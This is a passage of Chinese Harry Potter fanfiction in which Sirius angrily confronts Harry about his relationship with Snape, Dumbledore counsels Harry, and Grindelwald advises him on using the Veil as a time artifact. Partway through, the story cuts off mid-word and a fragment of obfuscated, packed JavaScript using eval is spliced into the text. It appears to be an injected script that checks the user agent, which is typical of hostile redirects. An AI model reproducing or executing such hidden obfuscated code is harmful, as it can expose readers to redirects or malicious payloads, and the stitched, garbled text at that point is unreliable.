“两个都是。”小天狼星说,“我既是现在这个小天狼星,也是被关了十二年的那个。说实话我自己都分不清,但——”他对哈利咧开了个笑容,“不管哪个我,都是你的教父。” 哈利也忍不住笑了。太多情绪在胸口撞来撞去,他简直不知道该怎么消化。可现在,有小天狼星在这里,真正的、完整的小天狼星,其他的好像都没那么重要了。 “我有太多话想跟你说。”哈利擦了擦眼睛,“太多了,我都不知道从哪里开始。” “慢慢说。”小天狼星站起身,重新给两人倒满黄油啤酒,“反正我们有的是时间。你想说多久,就说多久。” “真的?”哈利眼睛亮了。 “当然是真的。”小天狼星坐回沙发,把腿搭在茶几边缘,整个人靠进了软垫里,“来吧,让我听听我错过了些什么。我是说——我死之后的那些。这边的记忆里可没有。” 哈利笑了笑,开始讲起来。从六年级邓布利多安排的“特别课程”说起,那些穿梭在记忆盆中的夜晚。然后是七年级那段东奔西走的日子。他和罗恩、赫敏几乎睡在森林里,为了寻找魂器,好几次差点送了命。 当他说到骑着龙从古灵阁逃出来时,小天狼星大笑着拍大腿,“我要是能看到那场面该多好!” 很快话题转到了霍格沃兹之战。那一夜的火光、呐喊、倒下的人们…… 两人短暂地沉默了。哈利没有停太久,接着讲起战争结束后的事。 “我和罗恩直接当了傲罗。”他语气轻松了些,“麦格说我们已经在战场上通过所有考试了。赫敏当然还是回去考了N.E.W.Ts。” “不愧是赫敏。”小天狼星笑了。 “还有他俩的婚礼——”哈利眨眨眼,“罗恩喝醉了,站在椅子上对整个会场喊‘我喜欢赫敏七年了!’赫敏差点把他变成水壶。” “这小子!”小天狼星笑得前仰后合。 最后,话题落到了泰迪身上。第一次抱起那个头发会变颜色的小婴儿时,哈利手都不知道该往哪儿放。换尿布、哄睡觉、讲故事,他全都不会。学换尿布的时候手忙脚乱的,而故事讲着讲着,自己先睡着了,结果被泰迪拿绘本砸醒。 哈利说着说着,脸上浮现出一点点怅然,像是这时才真正意识到——原来已经过了这么久。 不知不觉,天色已经开始泛白。他们聊了整整一夜,哈利嗓子都有些沙哑了,但心里却前所未有的轻松。 “你该去睡一会儿。”小天狼星看了眼窗外,“都快天亮了。” “你不困吗?”哈利问。 “还好。”小天狼星揉了揉眼睛,“听你讲这些,哪里睡得着。去吧,还是那间房。” “我也不困。”哈利站起来,活动了一下僵硬的肩膀,“说真的,感觉像回到了学生时代,在格兰芬多塔楼熬夜聊天。” “还是去睡几个小时。”小天狼星站起来,“我来做早餐。” 哈利有点怀疑地看着他,可他的教父已经在催着他上楼了。 哈利顺着他的力道走向楼梯,在第一级台阶上回过头:“小天狼星,你真的回来了?” “真的。”小天狼星站在昏黄的油灯下,脸上是温暖的笑容,“去睡吧,哈利。” —————— 哈利在峡谷之屋的主卧里睡下时,那种兴奋劲还没过去。他像个孩子一样翻来覆去,脑海里不断回放着和小天狼星的每一句话。至于和斯内普的争吵?已经彻底被抛到脑后了。小天狼星真的回来了,完完整整地回到了他身边。 可一天的折腾下来,他的身体早就疲惫到了极限。困意终于上来,他最后翻了个身,脸埋进枕头里,很快沉入了梦乡。 好像也没睡几个小时,他就被煎培根的香味唤醒了。他坐起来伸了个懒腰,肚子被食物的香气勾得发出一声响亮的咕噜声。 哈利几乎是跳下床的,匆匆洗漱完便兴冲冲地奔下楼,然后惊讶地发现小天狼星居然真的在厨房有模有样地煎着鸡蛋,旁边的盘子里已经码好了几片烤得金黄的吐司和边缘微焦的培根。 “醒了?”小天狼星回头冲他扬了扬下巴,“去桌边等着,马上就好。” 哈利在餐桌旁坐下,目光一直跟着小天狼星。看着他动作娴熟地把煎蛋装盘,连摆盘都挺像回事。 “你什么时候学会的?”他接过那只热腾腾的盘子时问。 小天狼星有点不好意思地挠挠头:“找莉莉学了两个简单的。总不能每次你来,都让你自己动手。” 哈利尝了一口煎蛋,外焦里嫩:“太好吃了!” 小天狼星松了口气,拉开椅子自己也坐下了:“暂时就会这个,别的还在练。昨晚睡得好吗?” “睡得很好。”哈利嚼着吐司,对他点点头。 两人安静地吃着早餐。阳光暖洋洋地照进来,一切都很平常,就好像过去那些年的分离从未发生过。哈利觉得自己像做梦一样。 他时不时瞄一眼对面的人。小天狼星正在往吐司上抹果酱,动作和以前一样随意,完全看不出有什么不一样。 “怎么了?”小天狼星终于被他频频投来的目光看得停下了动作。 “没什么。”哈利低头切着培根,“就是……感觉太好了。你现在两边的记忆——” “说实话?”小天狼星坦然地说,“刚出来那会儿,脑子乱得不行。昨天出来后看到詹姆斯,一边觉得十几年没见了,一边又很清楚我们刚刚还一起看了决斗比赛。” “一定很难受。”哈利理解地点头。 “还好,现在清楚多了。”小天狼星喝了口茶。 虽然小天狼星这么说,但当那些早已死去的人一个个活生生地出现在面前时,那种恍惚和不真实的感觉,哈利再清楚不过了。不知道为什么,他忽然又想起了斯内普,这让他的好心情瞬间暗淡了一些。 哈利甩掉了脑子里的斯内普,发现他的教父正盯着杯子发呆。“怎么了?” 小天狼星看了他一眼,又移开视线:“没什么。” “小天狼星?” 小天狼星看了他第二眼,像是下了什么决心,表情突然严肃起来,“哈利,我必须问你一件事。我想问很久了,昨天在回廊里也——”他皱了皱眉头,“总之,我得确认清楚。” “什么事?”哈利小心翼翼地问,心里有种不好的预感。 “你和斯内普,”小天狼星紧盯着他,“到底是怎么回事?” 哈利差点被自己口中的吐司噎住。 “什……什么?”他努力咽下去,连舌头都打起结来。 “你知道我在问什么。”小天狼星眼睛眯起来,“你以前恨他恨得要死,现在是怎么回事?” “现在……我们只是……”哈利支支吾吾地说,目光飘来飘去,就是不敢和他对视,“同事。就是……同事关系。” “哈利。”小天狼星的语气变得严厉,“别糊弄我。我脑子里现在有两份记忆,告诉我同一件事——那个人在打你的主意。而你居然看不出来?” 哈利低头盯着盘子里的煎蛋一动也不敢动。糟了,他忘得一干二净,眼前的小天狼星拥有着全部的记忆,自然清楚知道他以前有多讨厌斯内普。如果还发现不了有哪里不对劲,那就不是小天狼星了。 他的脑子里 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“他确实很讨厌我。”哈利承认,在心里苦涩地补充道,可能现在也开始了,“但那不是全部——他其实一直都在保护我。” “就算他真的在暗中保护你。”小天狼星不屑地哼了一声,“难道给他一枚勋章还不够?你根本没必要——”他停顿了一下,“和他走得这么近。我提醒过你,那家伙绝对不怀好意!” 哈利感到一阵烦闷。他知道小天狼星是担心他,可他不需要人来告诉他该和谁交往。 “小天狼星,我不想讨论这个。”他试图结束话题,“我有自己的判断。” “很好,那就告诉我。”小天狼星毫不为所动,反而绕过桌子走到他面前,语气更加咄咄逼人,“告诉我你的判断是什么。要不然,我会自己去查。” “你要查什么?”哈利也站起来。 “查清楚那个混蛋对你做了什么!”小天狼星抓住他的肩膀,“你以为我看不出来他看的你眼神就和——” “够了。”哈利打断他,“我说了不想谈这个。” “今天你必须说清楚!”小天狼星逼近一步,“告诉我,那只阴险油腻的蝙蝠对你下了什么咒?还是用了什么魔药?混淆咒?迷情剂?还是——” 他突然止住话头,灰眼睛瞪大了:“不。” “什么?”哈利心里一紧。 “不可能。”小天狼星摇头,像要甩掉什么荒谬的想法,“告诉我不是我想的那样。” 哈利别过头:“我不知道你在说什么。” “你和他——”小天狼星把声音压得很低,“你们之间——” “我们什么都没有!”哈利脱口而出。 “哈利·詹姆斯·波特。”小天狼星紧紧抓住他,“你给我老实回答。你们到底是什么关系?别想蒙混过去。” 哈利看着小天狼星盛怒的脸,脑海中却不受控制地闪过斯内普昨晚的那些刻薄言语。一团无名的怒火在他胸口燃起,怎么压也压不下去。从昨晚开始,他就像个犯了错的孩子,被轮番质问和指责。先是斯内普,现在又轮到小天狼星。 他受够了被指责,受够了被猜疑。愤怒、委屈和被误解的痛苦一起涌上来,直接将他最后一丝理智冲垮。 “好!你不是想知道吗?”哈利猛地挣开小天狼的手,带着一股破罐子破摔的怒气,“你猜对了!我们在一起了!我和斯内普,我们是恋人!这就是你想听的,对吗?” 他的嗓音越来越高,“那接下来呢?你是不是还打算让我立刻和他分手?” 小天狼星彻底愣在原地。随后,他全身都发起抖来,脸上的肌肉扭曲着,不知道是气的还是震惊的,“你知道自己在说什么吗?” “我当然知道!”哈利用最大的音量吼了回去,“我早就是个成年人了,我有权决定自己和谁在一起!” “成年人?”小天狼星的脸涨得通红,“别跟我说什么成年人!就算是十五岁的你都知道离斯内普远点,根本不可能蠢到去选择一个对你恶毒了那么多年的食死徒!” “他不是食死徒!” “他手臂上的黑魔标记是画上去的吗?”小天狼星冷笑,“那个巴不得给伏地魔当走狗的鼻涕精!你知道他当年多疯狂吗?整天研究黑魔法,恨不得第一个爬到伏地魔袍下去舔他的脚!” “别这么说他!也不要叫他鼻涕精!他早就是邓布利多的人了——” “邓布利多相信他,我可不相信。”小天狼星狠狠地说,“哈利·詹姆斯·波特,你给我听好了!你就是个被他迷惑的傻小子!他接近你肯定有目的!等他得到想要的,你就会看到他的真面目——一个彻头彻尾的斯莱特林毒蛇!” 哈利怒吼,“你根本不了解他!你只看到你想看到的部分!” “我了解得够多了!”小天狼星也吼回去,“莉莉把他当最好的朋友,那个鼻涕精怎么回报她的?叫她泥巴种!五年级那年,我们都在场!你是她的儿子,居然还能——” 提到这件事哈利就冒火,“你们做的也没好到哪里去!明明是你们先把他——”他说到一半停住,又试图辩解,“而且他后来想道歉!我看过那段记忆,他在格兰芬多塔楼外等了一晚上!” “哈,他想道歉?”小天狼星冷哼一声,“我又不是没承认过年轻时候干过混账事,但他做过的那些事,那可不是几句道歉就能揭过去的。他骨子里就是个卑鄙阴沉的家伙!恨你、嫉妒你,就因为你长得像詹姆斯!你以为他真的在乎你?他很可能只是把你当成——”他咬着牙停顿了一下,“某种扭曲的替代品。” 哈利的脸瞬间变白了。替代品。斯内普昨晚也是这么说的——说自己只是个替代品,替代那个死去的斯内普。 “哦,谢谢你提醒我。”哈利气极反笑,“我们昨晚刚吵了一架,他把我赶了出去。就是因为这个我才半夜跑来——满意了吗?也许如你所愿,可能我们很快会顺便分个手!” 小天狼星一怔,语气里掺了点恼怒:“他竟然……这不正说明——” “说明什么?”哈利飞快地说,“我们会像普通情侣一样会吵架?会有矛盾?这不是再正常不过吗?” “正常?”小天狼星咬牙切齿,“你把和斯内普谈恋爱叫正常?” “那你告诉我什么是正常!找个漂亮姑娘,生几个孩子,然后呢?过那种你眼里‘正常’的生活?” “至少那个人不是斯内普!”小天狼星嘶吼。 “但那是我们的事!”哈利高声吼回去,“我知道自己在做什么!你以为你是谁?你死了那么多年,现在回来就想管我的生活?” 这句话说出口,哈利马上就后悔了。小天狼星的脸色刷地惨白,像被打了一拳。 “对。”他整个人顿时萎靡了下去,“我死了,丢下你一个人。所以现在没资格管你,是吗?” “小天狼星,我不是——” “詹姆斯和莉莉知道吗?”小天狼星打断他。 哈利沉默了。 “他们不知道。”小天狼星摇着头,失望写在脸上,“你瞒着他们。为什么?因为你知道这件事从一开始就是错的!” “这不是错的!我只是——” “那你为什么不敢说?” 两人怒目相视,都在喘着粗气。突然,一头银色的牡鹿穿墙而入,优雅地落在客厅中央。它静静站立片刻,随后张口吐出詹姆斯的声音:“紧急任务,立即回傲罗司。” 守护神消散了。小天狼星深深看了哈利一眼,一言不发地抓起外袍,转身朝壁炉走去。临进火焰前,他头也不回地说,“我们的谈话还没完。等我回来再说。” “你最好想清楚,哈利。想想你父母知道会怎么想,想清楚你到底在做什么。他会毁了你的。” 绿色火焰吞没了他的身影。 哈利独自站在空荡荡的厨房里,桌上的早餐已经凉透。阳光还是暖暖地照进来,可他只觉得浑身发冷。 直到中午小天狼星也没有回来。一只猫头鹰拍打着窗户,带来一封字迹潦草的短信: 紧急任务,和詹姆斯离开伦敦。不知道什么时候回来。 好好想想我说的话。 ——S.B. 哈利把信揉成一团,狠狠扔进壁炉。他在沙发上坐了整个下午,眼睁睁看着光线一点点从墙壁上褪去,窗外的天色慢慢暗下来。 本该是重逢的喜悦,却以这样的方式收场。 天黑后,他才勉强起身,回到了霍格沃兹。卧室里冷冷清清,密道那头没有任何动静——他已经换了口令,斯内普进不来。当然,那混蛋大概也不会来。 也好,他现在谁都不想见。 哈利躺在床上盯着天花板,从来没有这么茫然过。他不知道下一步该怎么走,也不知道究竟哪里出错了,只是睁着眼,度过漫长无眠的一夜。 133. 迷途与启示 哈利在床上翻了个身。黎明的微光一点点爬上窗台,天快亮了,可他还是睁着眼睛,数着天花板上那些从来没注意过的木纹。两天加起来,他大概只睡了四个小时。每次闭上眼睛,不是看到斯内普冰冷的表情,就是小天狼星失望的眼神。 他索性不再躺着折磨自己,爬起来机械地套上长袍。镜子里映出一张憔悴的脸——眼圈发青,胡茬冒出,头发凌乱不堪。他随手抓了抓,放弃了任何整理的努力,随后掬了把冷水泼在脸上,冰凉的触感让他稍微清醒了一些,但也仅此而已。 今天是周一,上午还有两节七年级的课,那些即将面对N.E.W.Ts的学生需要一个能够专注的教授,而不是一个因为私事而精神涣散的人。 哈利跳过了早餐——胃里像塞了块冰冷的石头,想到食物就感到一阵恶心。他匆匆穿过走廊,特意避开了任何可能通往地窖的楼梯和走廊,用最快的速度把自己关进了黑魔法防御术教室。他掏出魔杖,对着厚重的橡木门用了一道锁门咒,接着又加了一道“悄声无息”,确保在课前不会有任何人打扰。 整个世界似乎一下子陷入了寂静。哈利开始准备今天的授课内容——守护神咒的进阶练习。多么讽刺,他不禁苦笑,自己现在恐怕连一缕银雾都召唤不出来。 随着七年级的学生们陆续进入教室,哈利强打精神上完了两节课。学生们收拾东西时仍在兴奋地讨论,有两个格兰芬多成功召唤出了半实体的守护神。换作平时,哈利会留他们下来多说几句鼓励的话。可今天他只是麻木地站在那里,看着教室一点点清空。 等人都走了,他本想直接回办公室,将自己锁在里面。可走到一半,脚步不由自主地转了方向,往另一个方向走去——那是通往校长办公室的路。 “甘草魔杖”,哈利报出口令,石兽立刻跳到一边,显露出盘旋而上的楼梯。螺旋楼梯开始缓缓上升,还没到顶,他就听到里面传来的交谈声。 “……实在难以置信,阿不思。”一个严肃的女声说道,“如果你说的都是真的——” “恐怕都是真的,阿米莉亚。”邓布利多的声音随之响起。 透过半开的门,哈利认出了那是魔法部法律执行司司长阿米莉亚·博恩斯的声音。他站在门口,犹豫着是否该转身悄悄离开。 伯恩斯已经站起身,单片眼镜后的眼睛看着邓布利多:“司里还有很多事要处理。如果情况真如你所说,事情恐怕并没有那么简单,阿不思。” 她转身看到站在门口的哈利,微微愣了一下。 “您好,博恩斯女士。”哈利尴尬地让开路,“抱歉,我没想到——” “想必这位就是年轻的佩弗利尔教授?很高兴见到你。”伯恩斯迅速恢复了沉着,朝他礼貌地点了点头,“我正要离开。” “阿米莉亚,请你慎重考虑我的建议。”邓布利多站起身,那双蓝眼睛透过半月形眼镜凝视着她。 伯恩斯又转向邓布利多,苦笑了一声,“我会的。说实话,阿不思,我宁愿这一切都是你的臆想。”她摇了摇头,“我还是不敢相信。” 邓布利多叹了口气,“恐怕世事总是无法尽如人意。我相信你会做出正确的选择。” 博恩斯没再多说,点点头就快步离开了。哈利看着她的背影消失在楼梯口,才转向邓布利多。 “进来吧,哈利。”老人已经回到桌边,“茶?还是来点更提神的东西?”他用魔杖轻轻一挥,办公室的门便悄无声息地合上,伯恩斯用过的茶杯飞到一旁,替换成一个新的。 “随便什么都行。”哈利坐到椅子上,感觉自己的脊背像根木棍一样僵硬。 一杯热气腾腾的茶出现在他面前,薄荷和蜂蜜的香气弥漫开来。邓布利多也给自己倒了一杯,接着在对面坐下,那双睿智的蓝眼睛透过镜片仔细打量着他。 “能有人陪我这个老头子喝茶总是件愉快的事,哪怕是在这样的午后。”邓布利多端起茶杯,轻轻啜了一口,“不过,哈利,似乎你需要的远不止这一杯茶。” 哈利捧着茶杯,薄荷的清香充满了鼻腔。他盯着杯中上升的水汽,一时不知该从何说起。 “如果我没猜错,”邓布利多放下茶杯,十指交叠,“这和西弗勒斯有关?你们的谈话不太顺利?” 这句话就像是一个信号,哈利发现自己开始控制不住地说话。 他原本并不打算说这些,来找邓布利多的目的只是为了讨论时间旅行的事。可不知为什么,在老校长温和的注视下,那些压抑了一整夜的情绪突然找到了出口。 他几乎是语无伦次地提起那两场争吵——斯内普如何一再质疑他的判断,如何认为他在自寻死路,又如何用最伤人的话把他赶出了地窖。然后是小天狼星——他带着完整的记忆回来了,本该是最美好的事。然而,当他发现自己与斯内普的关系时,那份失望和愤怒的眼神,那些指责的话语,让他觉得自己背叛了所有人。 “他们都认为我疯了。”哈利最后说,他说得口干舌燥,感觉喉咙都冒了烟,“也许他们是对的。我确实不知道自己该怎么做了。” 邓布利多一直安静地听着,偶尔点头,始终没有打断,只是在哈利说完后,挥动魔杖让茶壶飘过来续满了他的茶杯。 哈利默默喝着茶,心中的迷茫和无力并没有随着倾述都而减少半分,反而令他更加沮丧起来。 办公室里一片静谧,墙上的画像都在假寐,福克斯在架子上打盹,偶尔发出轻微的啾鸣。 “西弗勒斯的担忧,”邓布利多慢慢开口,“并非毫无道理。” 哈利的肩膀塌了下来。连邓布利多也—— “但是,”老人继续,“担忧和不信任是两回事。恐惧会让人说出并不真心的话,做出日后会后悔的事。” 他站起身走到窗边,望着远处的禁林,“恐惧会让聪明人变得愚蠢,让勇敢的人变得怯懦。西弗勒斯,他或许看到了太多最坏的可能。那些念头在他脑海里生根发芽,直到占据了所有的空间。至于小天狼星——” 邓布利多走回座位,重新端起自己的杯子,“他刚刚找回自己,却发现你选择了他最无法理解的人。有些偏见,就像陈年的茶渍,没有那么轻易能洗干净。”他轻轻搅动着茶水,“小天狼星和西弗勒斯之间的积怨太深,这种敌意不会轻易改变。但哈利——” 他的目光落在哈利身上:“不要怀疑他们对你的爱。我想,也许是他们太在乎你,可有时候,人们表达在乎的方式,反而会伤害到他们最想保护的人。” “给他们一些时间吧。”邓布利多微笑着说,“你看,罗斯默塔夫人最近送给我一瓶上好的蜂蜜酒。就像精心酿造的酒,急于品尝只会让它失去风味,只有经过时间的沉淀,它才会变得更加美妙。” 哈利勉强扯了扯嘴角。 邓布利多站了起来。哈利看着他走到书架前,取下一个精致的银质天平。 “很多年前,”老校长轻抚着天平的底座,低声说道,“我也曾面临过类似的处境。被最亲近的人质疑,被最爱的人推开。” 他将天平轻置桌上,拿起两个砝码分别放在两端。天平顿时开始摇晃。 “你在努力平衡两边。”邓布利多又加了一个砝码,天平晃得更加剧烈,“但你会发现,越努力,摇晃就越厉害。” “可我不能放弃任何一个。”哈利盯着摇晃不止的天平。 “当然不能。”邓布利多拿起一个更重的砝码,在手中掂了掂,“但问题或许不在两端。” 他将砝码轻轻放在天平的中央支点上。天平的晃动渐渐变小,最终稳定下来。 “有意思的是,”老人的手指轻触天平臂,“当中心足够稳固,天平两端便不再对抗。” 他抬起头,眼神温和地看着哈利:“西弗勒斯和小天狼星的愤怒,都是源于恐惧。但恐惧会蒙蔽双眼,只有当你不再忙着证明什么,他们才能看清真相。” 哈利愣住了,“可是……我怕自己做错选择,让所有人失望。” “那就是问题所在。”邓布利多微笑了,“你不可能让所有人都满意,但你可以选择忠于自己的心。当你真正明白自己要什么时,其他人终究会理解的。爱不是一道需要解答的难题,哈利。” 哈利若有所思地凝视着那个稳定的天平。 “现在,”邓布利多话锋一转,“我们来谈谈你的计划。尽管我们已经在冥想回廊中有了一些发现,对时间圣器的了解依然少得可怜。” 他的表情变得严肃:“四件圣器,其中两件至今下落不明。雅努斯之门被藏在神秘事务司的最深处,缪丝的八音盒在格林德沃手中。米拉之镜虽然被证实就是厄里斯魔镜,但我们谁都没有真正研究过它。告诉我,哈利,你打算用哪一件?” “我……”哈利一时语塞。他确实没有仔细考虑过这个问题。 “这些都需要深思熟虑。”邓布利多继续,语气愈发凝重,“四兄妹的时代显然比佩弗利尔三兄弟要遥远得多,或许是几百年前,甚至上千年。时间跨度越大,变数就越多。哈利,你该怎么确保自己不会迷失其中?” “可是三年级时,”哈利试图为自己的计划辩护,“我是说,在另一个时间线——您让我和赫敏用时间转换器救了小天狼星。” 邓布利多的神情微妙地变化了一下,“另一个我。是的,那听起来确实像我会做的事。不过,哈利,那不过是几个小时的差距。你们知道要救谁,知道在什么时间、什么地方出现。而这次完全不同——你面对的是一段彻底未知的过去,没有地图,也没有引导,甚至没有退路。” 哈利感到有些沮丧,他靠在椅背上,低声问道:“所以……你也认为这过于冒险,不赞同我回到过去吗?” 出乎意料的是,邓布利多摇了摇头。 “不,哈利。风险确实存在,但有时候最危险的路恰恰是唯一的出路。”他深深地看进哈利的眼睛,“我本就打算建议你去找格林德沃。不能否认,在时间的研究上,他比任何人都走得更远。” “西弗勒斯认为他不可信。”哈利说,“觉得他可能在利用我。” “你自己怎么想?”邓布利多问。 哈利沉思片刻:“上次见面时,在血契沙漏的约束下,他说的话不像是假的。但……”他皱起眉头,“即使说的是真话,也不能排除他有其他目的。” “很明智的判断。”邓布利多颔首,“格林德沃从不做没有目的的事。但在这件事上,我认为他没有必要说谎,至少我们的目标是一致的。” 哈利点头,“是的,无论如何我总得去找他一趟。我当初答应过他,在冥想回廊里找到线索就得告诉他。” “很好。”邓布利多微笑着说,“那么,就由我陪你一起过去吧,在晚上的时候。” 哈利吃了一惊:“你要去见格林德沃吗?可是……他之前说只能我一个人去。” “我当然不打算让你违背承诺,哈利。”邓布利多解释,“也不会打扰你们的谈话。我只是想确保你能安全到达,安全离开。我会在岛的边缘等你。” “你不打算见见他?”哈利小心翼翼地问。 邓布利多拿起茶匙,轻轻搅动着杯中茶水,好一会儿才回答:“不。四十八年前,当我将他送进纽蒙迦德时,那是我们最后一次对话。从那以后,我再也没有真正见过他——去年我们去纽蒙迦德时,那里留下的也只是他的幻影。” 他停顿了一下:“现在的他经历了时间的循环,掌握了我无法想象的知识。如果我现在见他,恐怕我们的谈话会影响到你的决定。” 哈利没有再追问。他明白,即使是邓布利多也有不愿触碰的边界。 —————— 下午的课结束后,哈利又回到了校长办公室。接下来的几个小时,他们讨论了大量细节。邓布利多不断提出一些哈利之前没有考虑到的问题——如何精确定位时间点?如果误差有几年,甚至几十年,怎么办?使用圣器会不会付出什么代价?如果真的改变了什么,这个世界会变成什么样?每一个问题都让哈利的计划显得更加不确定。邓布利多甚至翻出了几本关于古代语言的书籍,以防哈利真的回到了太过久远的年代。 当夕阳的最后一抹光辉消失在地平线下,哈利取出了那枚海螺形状的门钥匙。他和邓布利多对视一眼,同时触碰门钥匙粗糙的表面。世界在眼前急速旋转,然后他们落在了湿滑的礁石上。 浓雾较上次更为厚重,像一堵看不见的墙,将小岛团团围住。远处,那座简陋的石屋里透出微弱的灯光,格林德沃已经等在石屋门口,瘦削的身影在雾气中若隐若现。 他和邓布利多遥遥相望,两个曾经差点改变了世界的巫师,如今隔着数百英尺的距离,谁都没有更走近一步的意思。 “去吧,哈利。”邓布利多拍了拍哈利的肩膀,“我就在这里等你。” 哈利有些担忧地看着他,再次确认:“你真的不去见他吗?” 邓布利多微笑着摇头,目光始终没有离开远处的身影,“他知道我在这里。这种……平衡,对你们的谈话更有益。” 哈利只好独自一人走向小屋。小屋依旧那样简陋,但从它散发出的魔法波动中,哈利能感受到一种不同寻常的力量。 格林德沃一直注视着远方,直到哈利走到门口才收回视线,侧身让他进去。门在身后关上时,哈利回头看了一眼——邓布利多的身影已经完全消失在雾中。 石屋里还是老样子,不过哈利注意到墙上的计算公式比上次更多了,有些甚至写到了天花板上。魔法苔藓发着幽绿的光,让一切都笼罩在阴森诡异的色调中。 格林德沃走到桌边,那里已经摆好了两只茶杯,茶壶里的茶还冒着热气。 “他是担心我会对你下手吗?”格林德沃倒着茶,语气里带着一丝讥讽,“还是怕我会用什么黑魔法蛊惑你?” 哈利没有回答。他知道格林德沃清楚邓布利多在外面,就像邓布利多知道格林德沃在等着一样。 好在格林德沃也就说了这么一句,便不再提邓布利多。“坐吧。”他倒了两杯茶,递过去一杯,“我假设你找到了我们需要的答案。” “恐怕没有。”哈利摇摇头,“关于如何摧毁时间圣器,回廊里没有任何线索。” 格林德沃端茶的手停在半空,接着慢慢放下。他的脸色瞬间沉了下来,失望像潮水一样漫过他的面容,让他看起来突然老了十岁。 “又是一条死路。”他疲惫地抬手揉了揉眉心,“我还以为这次……” 他重重地在椅子上坐下,闭上眼睛,手指按着太阳穴,话也懒得再多说一句。 “不过,”哈利观察着他的一举一动,才又开口,“我确实有个发现。” 格林德沃的眼睛猛然睁开,里面重新燃起了光芒。 “我看到了自己。在四兄妹的记忆碎片里,我出现在了过去。” 格林德沃的表情瞬间发生了变化,他坐直了身体,眼神紧紧锁住哈利,“详细说。” “记忆很模糊,只有零星的几个片段。”哈利回忆着,“但我能肯定那是我。穿着同样的长袍,握着魔杖,还有……”他下意识地摸了摸额头,“同样的伤疤。” “有意思。”格林德沃似乎被激起了好奇,站起身开始在狭小的空间里踱步,“非常有意思。你知道这意味着什么吗?” “意味着我会回到四兄妹所在的那个时代?”哈利说出自己的猜测。 “不止如此,不止如此!”格林德沃转过身,蓝眼睛在幽暗的光线中像两团火焰,“这意味着你已经回去了!对时间本身而言,过去、现在、未来同时存在,你看到的不是可能性,而是既定的事实!” “可问题是,”哈利不解地问,“我怎么确保每一步都做得对?我怎么知道哪些行动是历史的一部分,哪些会创造新的裂缝?如果我做了记忆里没有的事——”他咬了咬嘴唇,“有人提醒我,如果我走错一步,可能会彻底改变过去。” “有人?”格林德沃露出一个了然的笑容,“我猜……是西弗勒斯·斯内普?这种谨慎到近乎偏执的顾虑,的确是他的风格。” 哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我该用哪个圣器回去?”哈利问,“我们知道下落的只有雅努斯之门和缪丝的八音盒——” “用雅努斯之门。”格林德沃不假思索地说,“必须用它。” “为什么?那道拱门一直在魔法部的神秘事务司里,要接近它并不容易。”哈利追问,“可八音盒就在你手里,你用它穿越过——” 格林德沃脸上浮现出一个苦涩的笑容:“八音盒……你知道它最大的限制是什么吗?” 他从怀里取出那个朴素的八音盒,用拇指轻轻摩挲着盒盖上的花纹,动作里有种说不出的眷恋和遗憾,“看看它,美丽,精巧,我曾经以为掌握了它,便能掌控时间,改变一切。” 哈利微微一怔。 “可我很快就发现,”格林德沃嗤笑一声,“它确实能带我回到过去,但永远不能带我去真正想去的地方。” “这个美丽的小东西,”他苦涩地说,“每转一圈能让你回溯一年。最多五十圈,五十年,这就是它的极限。但那还不够远,我永远没有机会去阻止——”他顿住话头,摇了摇头,“重点是,四兄妹生活在至少几百年前,远远超出了它能到达的范围。” “所以我只能使用拱门。”哈利恍然大悟。 “不只是因为这个。”格林德沃放下八音盒,目光重新聚焦在哈利身上,“你必须使用拱门,哈利。理由很简单,你从拱门而来,你的灵魂早已带上了它的印记。用它穿越,时间会‘认出’你,把你当做——怎么说呢,‘老朋友’。” “可拱门该怎么精确定位时间?”哈利指出。 “确实不行。”格林德沃点头,“但既然你已经在历史里了,它自然会把你带到该去的时代。我再说一遍,时间认识你,哈利·波特。” “别再想着怎么去遵循历史。”他最后总结道,“你要做的,是带着你的目的,用最干净利落的方式走进去,完成你要做的事,然后立刻回来。相信你的直觉,因为在那个时刻,你的直觉,就是历史本身。” “如果——”哈利沉思着,还是忍不住问出了一个一直萦绕在心头的问题,“如果我想带一个人和我一起去呢?既然你说我的每个决定都是历史的一部分——” “这真的是你的决定吗?”格林德沃语气犀利地反问,“你在记忆里看到的东西,你自己最清楚。告诉我,你真的想带那个人一起去吗?” 哈利沉默了很久。 “不。”他最终承认,“我不想让他冒这个险。如果出了什么意外——” “这就是答案。”格林德沃挑了挑眉,“你的本能已经告诉了你该怎么做。记住,你不是去改变什么,你是去完成早已发生的事。” 哈利踌躇着问了另外一个问题,“如果我回不来呢?” 格林德沃没有立刻回答,反而轻轻一笑,反问道:“你知道四兄妹为何要创造冥想回廊吗?” 不等哈利回答,他就继续说,“因为他们在等。” 格林德沃身体前倾,凑近哈利,蓝眼睛在昏暗中发着奇异的光,“等了几百年,在时间的夹缝中漂流,就等一个人。整个回廊,所有的门,那些记忆,都是为你准备的。如果你回不来,这一切还有什么意义?” 说完,他直起身,微微仰头叹了口气,“如果可以选择,我宁愿自己去做这件事。我尝试了那么多年,找到了那么多线索,可是从来没有能真正成功改变这个必死的局面。但我现在明白了——答案从来不在我这里。所有的路都指向你。” 他苦笑着摇头:“怪不得你才是那个继承四兄妹遗产的人,你不是凭空得到它的。” 这场对话进行到这里,似乎已经没有继续下去的必要。哈利得到了想要的答案,站起身准备离开,走了几步又停下。 “我能相信你吗?”他问。 格林德沃笑了,但那笑容里充满了苦涩,像是在笑自己,也像是在笑这个问题的荒谬。 “信任?”他摇着头,“我们不是朋友,哈利·波特。但在时间面前,我们别无选择,只能站在同一边。” 哈利没再说什么,转动门把手。就在门打开一条缝的时候,他突然想起了什么,又停下了动作。 “还有件事。”他回过头,“我在回廊里无意中看到了一些其他守护者的记忆。里面有一种……我从未见过的魔法。” 格林德沃挑起眉毛,示意他继续。 哈利简单描述了他看到的那个魔法。自从在守护者的记忆中看到这个魔法,一个念头就在他的心底滋生蔓延。 格林德沃听完他的描述后,表情变得有些古怪,他的眼神闪烁了一下,嘴角抽动着,似乎在努力控制着某种情绪。 “你觉得我是行走的魔法辞典?”他看似调侃地说。 “如果你不知道,”哈利耸了耸肩,“恐怕没几个巫师知道了。” 格林德沃的目光飘向门外,雾气中邓布利多的身影依稀可见。 “为什么不问他?”他的下巴朝门外一扬,“无所不知的阿不思·邓布利多就在那里,随时准备为他心爱的学生解答任何疑惑。” 